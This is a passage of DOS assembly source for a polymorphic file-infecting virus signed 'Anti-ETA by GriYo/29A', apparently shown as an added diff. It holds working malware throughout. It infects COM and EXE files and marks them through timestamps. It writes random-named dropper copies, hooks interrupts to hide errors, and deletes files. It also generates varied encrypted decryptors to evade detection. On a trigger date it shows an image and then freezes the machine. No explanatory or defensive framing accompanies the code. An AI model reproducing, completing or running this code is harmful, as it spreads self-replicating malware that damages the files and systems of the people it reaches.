ds:[si+01h],ax + add ax,0103h + mov word ptr ds:[delta],ax ; Save delta offsets + mov dword ptr ds:[host_type],".COM" ; Set host type + jmp write_body + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│Infect EXE files │ +;└──────────────────────────────────────────────────────────────────────────┘ + +inf_exe_file: cmp word ptr ds:[si+19h],0040h ; Avoid Windows shit + jae file_error_3 + cmp word ptr ds:[si+1Ah],0000h ; Avoid overlays + jne file_error_3 + cmp word ptr ds:[si+0Ch],0FFFFh ; Check maxmem + jne file_error_3 + call backup_header ; Save header + push word ptr ds:[si+14h] ; Build a jump to + pop word ptr ds:[exe_ip_cs] ; the original entry + push word ptr ds:[si+16h] ; point + pop word ptr ds:[exe_ip_cs+02h] + mov ax,word ptr ds:[file_size] ; Get file size + mov dx,word ptr ds:[file_size+02h] ; div 0010h + mov cx,0010h + div cx + sub ax,word ptr ds:[si+08h] ; Sub header size + mov word ptr ds:[si+14h],dx ; New entry point at + mov word ptr ds:[si+16h],ax ; file end + mov word ptr ds:[delta],dx ; Save delta offset + inc ax ; New stack segment + mov word ptr ds:[si+0Eh],ax ; in load module + add dx,inf_byte_size+0200h ; Move stack pointer + and dx,0FFFEh ; using word aligment + mov word ptr ds:[si+10h],dx + mov ax,word ptr ds:[file_size] ; Get file size + mov dx,word ptr ds:[file_size+02h] ; div 0200h + mov cx,0200h + div cx + or dx,dx + jz size_round_1 + inc ax +size_round_1: cmp ax,word ptr ds:[si+04h] ; Check if file + jne exit_header ; size is as header + cmp dx,word ptr ds:[si+02h] ; says + je ok_file_size +exit_header: jmp file_error_3 +ok_file_size: mov dword ptr ds:[host_type],".EXE" ; Set host type + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Append virus body to our victim │ +;└──────────────────────────────────────────────────────────────────────────┘ + +write_body: push bx + mov si,inf_para_size*02h ; Allocate memory + call mem_alloc ; for poly decryptor + pop bx ; and virus body + or di,di + jz no_memory + push bx + mov es,di + xor di,di + call gen_polymorph + add word ptr ds:[delta],di ; Save delta offset + mov ax,word ptr ds:[eng_entry_point] + mov si,offset inf_header + cmp dword ptr ds:[host_type],".EXE" + je fix_exe +fix_com: add word ptr ds:[si+01h],ax ; Add to jmp + jmp short entry_size_fix +fix_exe: add word ptr ds:[si+14h],ax ; Add to IP + mov ax,word ptr ds:[file_size] ; Get file size + mov dx,word ptr ds:[file_size+02h] + add ax,inf_byte_size ; Add virus size + adc dx,0000h ; to file size + add ax,di ; Add decryptor size + adc dx,0000h ; to file size + mov cx,0200h ; Get infected file + div cx ; size div 0200h + or dx,dx + jz size_round_2 + inc ax +size_round_2: mov word ptr ds:[si+02h],dx ; Store new size + mov word ptr ds:[si+04h],ax ; on header +entry_size_fix: xor si,si + mov cx,inf_byte_size + rep movsb + push di + push es + pop ds + call crypto03h ; Crypt area 03h + call crypto02h ; Crypt area 02h + call crypto01h ; Crypt area 01h + call gen_encryption + mov ah,40h ; Write virus body + pop cx ; at EOF + pop bx + xor dx,dx + int 03h + jc no_write + call seek_begin + push cs + pop ds + mov ah,40h ; Write infected + mov cx,001Ch ; header + mov dx,offset inf_header + int 03h + mov al,byte ptr ds:[file_time] ; Mark file as + and al,0E0h ; infected using + or al,0Ah ; time stamp + mov byte ptr ds:[file_time],al ; (seconds=0Ah) +no_write: mov ah,49h ; Free allocated + int 03h ; memory + push cs + pop ds + mov word ptr ds:[crypt_delta],0000h ; Clear crypt delta +no_memory: jmp file_error_3 + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Time for activation? │ +;└──────────────────────────────────────────────────────────────────────────┘ + +try_activation: db 0EBh,00h ; Clear prefetch + mov ah,04h ; Check if time + int 1Ah ; to activate + cmp dx,0710h + jne drop_virus + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Activation routine │ +;└──────────────────────────────────────────────────────────────────────────┘ + +do_payload: mov ax,0013h ; Set video mode + int 10h ; 320x200x256c + mov ax,0A000h ; Decompress our + mov es,ax ; image over video + mov si,offset image_data ; memory + xor di,di + mov cx,100 ; 100 scan lines +loop_compress: push cx + mov cx,20 +next_string: push cx + lodsb + mov dl,al + mov cx,8 ; Get 8 pixels +compress_byte: xor al,al + test dl,128 + jz pixel_ready + mov al,07h +pixel_ready: push di + add di,320 + stosb + stosb + pop di + stosb + stosb + shl dl,01h + loop compress_byte ; Next pixel + pop cx ; Next 8 byte group + loop next_string + pop cx ; Next scan + add di,320 + loop loop_compress +stay_quiet: jmp stay_quiet + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Image for the virus payload (white hand) │ +;└──────────────────────────────────────────────────────────────────────────┘ + +image_data equ this byte + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 001h,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,007h,0FEh,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,00Fh,0FEh + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,03Fh,0FEh,000h,000h,000h,000h,00Fh,0F0h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FEh,000h,000h + db 000h,000h,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,001h,0FFh,0FEh,000h,000h,000h,001h,0FFh,0F8h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,003h,0FFh,0FCh,000h,000h,000h,003h + db 0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,00Fh + db 0FFh,0FCh,000h,000h,000h,00Fh,0FFh,0F8h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,01Fh,0FFh,0FCh,000h,000h,000h,03Fh,0FFh,0F8h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,03Fh,0FFh,0FCh + db 000h,000h,000h,0FFh,0FFh,0F0h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,07Fh,0FFh,0FCh,000h,000h,003h,0FFh,0FFh,0F0h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0F8h,000h,000h + db 00Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 001h,0FFh,0FFh,0F0h,000h,000h,03Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0E0h,000h,000h,07Fh,0FFh + db 0FFh,080h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh + db 0FFh,0C0h,000h,001h,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,03Fh,0FFh,0FFh,0C0h,000h,007h,0FFh,0FFh,0FCh,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,080h + db 000h,01Fh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,07Fh,0FFh,0FEh,000h,000h,03Fh,0FFh,0FFh,0F0h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FCh,000h,000h,0FFh + db 0FFh,0FFh,0C0h,000h,003h,0F0h,000h,000h,000h,000h,000h,000h,000h,003h + db 0FFh,0FFh,0F8h,000h,001h,0FFh,0FFh,0FFh,080h,000h,01Fh,0F8h,000h,000h + db 000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0F0h,000h,003h,0FFh,0FFh,0FFh + db 000h,001h,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh,0FFh + db 0C0h,000h,007h,0FFh,0FFh,0FCh,000h,007h,0FFh,0F0h,000h,000h,000h,000h + db 000h,000h,000h,01Fh,0FFh,0FFh,080h,000h,01Fh,0FFh,0FFh,0E0h,000h,03Fh + db 0FFh,0F0h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,000h,000h + db 03Fh,0FFh,0FFh,080h,000h,07Fh,0FFh,0E0h,000h,000h,000h,000h,000h,000h + db 000h,0FFh,0FFh,0FEh,000h,003h,0FFh,0FFh,0FEh,000h,001h,0FFh,0FFh,0C0h + db 000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FEh,000h,007h,0FFh,0FFh + db 0F8h,000h,003h,0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h,001h,0FFh + db 0FFh,0FCh,000h,00Fh,0FFh,0FFh,0F0h,000h,007h,0FFh,0FFh,080h,000h,000h + db 000h,000h,000h,000h,003h,0FFh,0FFh,0F8h,000h,03Fh,0FFh,0FFh,0E0h,000h + db 01Fh,0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0E0h + db 000h,07Fh,0FFh,0FFh,0C0h,000h,07Fh,0FFh,0F8h,000h,000h,000h,000h,000h + db 000h,000h,007h,0FFh,0FFh,0C0h,000h,0FFh,0FFh,0FFh,000h,001h,0FFh,0FFh + db 0F0h,000h,000h,000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,080h,001h,0FFh + db 0FFh,0FCh,000h,003h,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h + db 03Fh,0FFh,0FCh,000h,007h,0FFh,0FFh,0F8h,000h,00Fh,0FFh,0FFh,000h,000h + db 000h,000h,000h,000h,000h,000h,07Fh,0FFh,0F8h,000h,00Fh,0FFh,0FFh,0F0h + db 000h,01Fh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh + db 0F8h,000h,0FFh,0FFh,0FFh,0E0h,000h,07Fh,0FFh,0FEh,000h,000h,000h,000h + db 000h,000h,000h,000h,07Fh,0FFh,0FCh,03Fh,0FFh,0FFh,0FFh,000h,003h,0FFh + db 0FFh,0FCh,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FEh,000h,00Fh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,000h + db 000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,01Fh,0FFh,0FFh,0F0h + db 000h,000h,000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0F0h,001h,0FFh,0FFh,0FFh,0E0h,000h,003h,0F0h,000h,000h,000h,000h,00Fh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,007h,0FFh,0FFh,0FFh,080h,000h,00Fh + db 0FCh,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,0FFh + db 0FFh,0FFh,0FFh,000h,000h,03Fh,0FCh,000h,000h,000h,000h,03Fh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0EFh,0FFh,0FFh,0FFh,0FCh,000h,000h,07Fh,0FCh,000h + db 000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0E0h,000h,000h,0FFh,0F8h,000h,000h,000h,000h,07Fh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,007h,0FFh,0F8h,000h,000h,000h + db 000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h + db 0FFh,0FFh,0F8h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FEh,000h,001h,0FFh,0FFh,0F8h,000h,000h,000h,003h,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,003h,0FFh,0FFh + db 0F8h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0C0h,000h,03Fh,0FFh,0FFh,0F0h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,007h,0FFh,0FFh,0FFh,0E0h,000h + db 000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h + db 07Fh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0F0h,000h,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,003h,0FFh,0FFh + db 0FFh,0FCh,000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0F8h,000h,01Fh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,003h,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F0h,001h,0FFh,0FFh,0FFh,0FFh,080h + db 000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h + db 007h,0FFh,0FFh,0FFh,0FEh,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,01Fh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h + db 000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,07Fh,0FFh + db 0FFh,0FFh,0C0h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,00Fh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FCh + db 000h,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,03Fh,0F0h,0F1h + db 0C8h,004h,07Fh,0FEh,002h,001h,087h,0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h + db 000h,000h,000h,07Fh,0F0h,071h,0C8h,004h,07Fh,0FEh,002h,001h,007h,0FFh + db 0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h,0FFh,0E0h,070h,0CFh,01Ch + db 07Fh,0FEh,03Fh,08Fh,003h,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h + db 001h,0FFh,0E2h,070h,04Fh,01Ch,07Fh,0FEh,003h,08Fh,023h,0FFh,0FFh,0FFh + db 0FEh,000h,000h,000h,000h,000h,001h,0FFh,0E2h,032h,00Fh,01Ch,07Ch,03Eh + db 003h,08Eh,023h,0FFh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,001h,0FFh + db 0C0h,033h,00Fh,01Ch,07Ch,03Eh,03Fh,08Eh,001h,0FFh,0FFh,0FFh,0C0h,000h + db 000h,000h,000h,000h,001h,0FFh,0C0h,013h,08Fh,01Ch,07Fh,0FEh,003h,08Ch + db 001h,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h,001h,0FFh,0C7h,013h + db 08Fh,01Ch,07Fh,0FEh,003h,08Ch,071h,0FFh,0FFh,0F0h,000h,000h,000h,000h + db 000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0E0h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h + db 001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h + db 000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h + db 000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0E0h,000h,000h,000h,0FFh,0C0h,000h,000h,000h,000h,000h,007h + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,000h,001h,0FFh,0FFh,0E0h + db 000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0E0h,000h,03Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,007h,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,003h,0FFh,0FFh,0FFh,0E0h,000h,000h + db 000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,03Fh + db 0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0C0h,07Fh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h + db 000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E1h,0FFh,0FFh,0FFh + db 0FFh,0C0h,000h,000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h + db 003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h + db 000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FCh,000h,000h,000h,000h,000h,000h,000h,003h,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h + db 000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h + db 000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FEh + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,07Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,03Fh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FCh,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FEh,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh + db 0FFh,0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ ID string │ +;└──────────────────────────────────────────────────────────────────────────┘ + +id_string db "<< Anti-ETA by GriYo/29A >>" + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Create a virus dropper in the current directory │ +;└──────────────────────────────────────────────────────────────────────────┘ + +drop_virus: call get_rnd + or al,al + jnz do_not_gen + mov ax,cs + mov ds,ax + mov es,ax + call hook_24h_03h + mov ax,0004h + call rand_in_range + inc ax + inc ax + mov cx,ax + mov di,offset dropper_name + push di + cld +generate_name: mov ax,0019h + call rand_in_range + add al,41h + stosb + loop generate_name + mov eax,"MOC." + mov dword ptr ds:[di],eax + mov dword ptr ds:[di+04h],00h + pop dx + mov ah,3Ch + xor cx,cx + int 03h + jc exit_generator + mov dword ptr ds:[host_type],"DROP" ; Set host type + mov word ptr ds:[delta],0100h ; Save delta offset + xchg bx,ax + push bx + mov si,inf_para_size*02h ; Allocate memory + call mem_alloc ; for a virus copy + pop bx ; and the virus body + or di,di + jz cant_drop + push bx + mov es,di + xor di,di + call gen_polymorph + add word ptr ds:[delta],di ; Save delta offset + xor si,si + mov cx,inf_byte_size + rep movsb + push di + push es + pop ds + call crypto03h ; Crypt area 03h + call crypto02h ; Crypt area 02h + call crypto01h ; Crypt area 01h + call gen_encryption + mov ah,40h ; Write virus + pop cx ; dropper + pop bx + sub dx,dx + int 03h + jc oh_shit + mov ah,2Ah ; Get current year + int 03h + mov ax,cx + sub ax,07BCh ; Years from 1980 + call rand_in_range + shl al,1 + mov dh,al + call get_rnd ; Get random date + and al,0FEh + mov dl,al + call rand_16 ; Get random time + and ax,7BE0h + or al,0Ah ; Mark as infected + mov cx,ax + mov ax,5701h + int 03h +oh_shit: mov ah,49h ; Free allocated + int 03h ; memory + push cs + pop ds + mov word ptr ds:[crypt_delta],0000h ; Clear crypt delta +cant_drop: mov ah,3Eh ; Close file + int 03h +exit_generator: call free_24h_03h +do_not_gen: jmp exit21h + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Make a copy of file header │ +;└──────────────────────────────────────────────────────────────────────────┘ + +backup_header: push si + push di + push es + push ds + pop es + mov si,offset inf_header + mov di,offset old_header + mov cx,001Ch + cld + rep movsb + pop es + pop di + pop si + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Seek into file routines │ +;└──────────────────────────────────────────────────────────────────────────┘ + +seek_begin: xor al,al + jmp short seek_int_21h +seek_end: mov al,02h +seek_int_21h: mov ah,42h + xor cx,cx + xor dx,dx + int 03h + jc seek_error + mov word ptr cs:[file_size],ax ; Save pointer + mov word ptr cs:[file_size+02h],dx ; position + clc + ret +seek_error: stc + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Delete file routine │ +;│ On entry: │ +;│ DS:DX -> ptr to the file name to delete │ +;│ DS:SI -> ptr to directory name │ +;└──────────────────────────────────────────────────────────────────────────┘ + +delete_file: push ds + pop es ; Get path of next + push si + push di + mov di,offset delete_path + push di + mov bx,di + cld +copy_del_path: lodsb + stosb + cmp al,"\" + jne no_slash_here + mov bx,di +no_slash_here: or al,al + jnz copy_del_path + mov si,dx ; Now write the name + mov di,bx ; of the file to delete +copy_del_name: lodsb ; next to path + stosb + or al,al + jnz copy_del_name + mov ax,4301h ; Wipe out the file + xor cx,cx ; attribute + pop dx + int 03h + + mov ah,41h ; Delete filename + int 03h + pop di + pop si + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Hook int 24h to a dummy handler and redirect int 21h over int 3 │ +;└──────────────────────────────────────────────────────────────────────────┘ + +hook_24h_03h: push ax + push bx + push ds + push es + push cs + pop ds + mov al,03h + call get_int + mov word ptr ds:[old03h],bx + mov word ptr ds:[old03h+02h],es + mov dx,offset call21h + call set_int + mov al,24h + call get_int + mov word ptr ds:[old24h],bx + mov word ptr ds:[old24h+02h],es + mov dx,offset my24h + call set_int + pop es + pop ds + pop bx + pop ax + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Restore int 24h and 3 │ +;└──────────────────────────────────────────────────────────────────────────┘ + +free_24h_03h: push ax + push ds + mov al,03h + lds dx,dword ptr cs:[old03h] + call set_int + mov al,24h + lds dx,dword ptr cs:[old24h] + call set_int + pop ds + pop ax + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Virus critical error interrupt handler (int 24h) │ +;└──────────────────────────────────────────────────────────────────────────┘ + +my24h: sti + mov al,3 ; Return error in + iret ; function + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Generate polymorphic encryption │ +;│ On entry: │ +;│ DS -> virus code segment │ +;│ ES:DI -> position where the engine has to put the decryptor │ +;└──────────────────────────────────────────────────────────────────────────┘ + +gen_polymorph: cld + call rand_16 ; Get displacement + and al,0FEh ; Avoid odd displace + mov word ptr ds:[eng_displace],ax + call rand_16 ; Get crypt key + mov word ptr ds:[eng_crypt_key],ax + mov byte ptr ds:[eng_recursive],00h ; Reset rec. counter + cmp dword ptr ds:[host_type],".EXE" ; 1st rnd block only + jne skip_1st_block ; on EXE files + call gen_rnd_block ; Block of rand data +skip_1st_block: mov word ptr ds:[eng_entry_point],di ; Decryptor entry + mov ax,(offset end_opcodes - offset opcodes_table)/02h + call rand_in_range + add ax,ax + mov si,offset opcodes_table ; Get pointer to + add si,ax ; random reg table + lodsw + mov si,ax + call gen_garbage + + ; At this point, + ; DS:SI -> reg opcode table+01h + ; + ; +00h add [bp+nn],key + ; rol [bp+nn],01h + ; inc [bp+nn] + ; +01h sub [bp+nn],key + ; +02h xor [bp+nn],key + ; +03h ror [bp+nn],01h + ; dec [bp+nn] + ; +04h add bp,inm + ; +05h sub bp,inm + ; +06h inc bp + ; +07h cmp bp,inm + + movsb ; mov reg,imm + mov word ptr ds:[eng_init_ptr],di + xor ax,ax + stosw + call gen_garbage + mov word ptr ds:[eng_loop_point],di + call gen_garbage + mov al,2Eh ; Get segment reg + stosb + mov ax,(offset end_crypt - offset crypt_table)/02h + call rand_in_range + add ax,ax + mov bx,offset crypt_table ; Get pointer to + add bx,ax ; crypt generator + call word ptr ds:[bx] ; Gen decrypt instr + call gen_garbage + mov ax,(offset end_inc_ptr - offset inc_ptr_table)/02h + call rand_in_range + add ax,ax + mov bx,offset inc_ptr_table ; Get pointer to + add bx,ax ; inc ptr generator + call word ptr ds:[bx] ; Gen inc ptr instr + call gen_garbage + mov al,81h + mov ah,byte ptr ds:[si+07h] ; Gen cmp reg,imm + stosw + mov word ptr ds:[eng_cmp_ptr],di + xor ax,ax + stosw + mov ax,di + sub ax,word ptr ds:[eng_loop_point] + cmp ax,7Fh + jb use_jmp_short + mov ax,0074h ; Gen je label + stosw ; garbage + push di ; jmp loop_point + call gen_garbage ; garbage + mov al,0E9h ; label: + stosb + mov ax,di + sub ax,word ptr ds:[eng_loop_point] + inc ax + inc ax + neg ax + stosw + call gen_garbage + pop bx + mov ax,di + sub ax,bx + mov byte ptr es:[bx-01h],al + jmp short continue_gen +use_jmp_short: inc al + inc al + neg al + mov ah,75h + xchg ah,al + stosw ; Gen jne loop_point +continue_gen: call gen_garbage + mov al,0E9h + stosb + push di + xor ax,ax + stosw + call gen_rnd_block ; Block of rand data + pop bx + mov ax,di + sub ax,bx + dec ax + dec ax + mov word ptr es:[bx],ax + mov ax,di + mov word ptr ds:[crypt_delta],ax + add ax,word ptr ds:[delta] + sub ax,word ptr ds:[eng_displace] + mov bx,word ptr ds:[eng_init_ptr] ; Ptr start of + mov word ptr es:[bx],ax ; encrypted code... + add ax,(inf_byte_size and 0FFFEh)+02h + mov bx,word ptr ds:[eng_cmp_ptr] ; Ptr end of + mov word ptr es:[bx],ax ; encrypted code... + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Perform encryption │ +;└──────────────────────────────────────────────────────────────────────────┘ + +gen_encryption: mov si,word ptr cs:[crypt_delta] + mov di,si + mov cx,(inf_byte_size+01h)/02h + mov dx,word ptr cs:[eng_crypt_key] +loop_do_crypt: lodsw + db 0EBh,00h ; Clear prefetch +crypt_reverse dw 9090h ; Crypt/decrypt + stosw + loop loop_do_crypt + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Generate random data block │ +;│ On entry to rnd_fill_loop: │ +;│ ES:DI -> buffer to be filled │ +;│ CX -> buffer size in bytes │ +;│ Warning: direction flag must be clear │ +;└──────────────────────────────────────────────────────────────────────────┘ + +gen_rnd_block: mov ax,004Bh ; Generate a block of + call rand_in_range ; random data + add ax,0019h + mov cx,ax + +rnd_fill_loop: call get_rnd + stosb + loop rnd_fill_loop + ret + 